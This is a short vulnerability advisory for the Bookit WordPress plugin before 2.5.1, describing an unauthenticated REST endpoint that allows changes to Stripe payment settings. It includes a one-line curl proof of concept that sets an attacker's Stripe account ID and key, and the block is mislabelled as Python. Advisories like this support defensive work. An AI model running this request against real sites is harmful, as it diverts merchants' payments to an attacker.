The Bookit WordPress plugin before 2.5.1 has a publicly accessible REST endpoint that allows unauthenticated update of the plugins Stripe payment options.
CVSS Details
CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Configurations (Affected Products)
No configuration data available.
Bookit WordPress Plugin < 2.5.1
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
curl -X POST https://target-site.com/wp-json/bookit/v1/stripe-config -H 'Content-Type: application/json' -d '{"stripe_account_id":"attacker_stripe_id","stripe_publishable_key":"pk_live_attacker_key"}'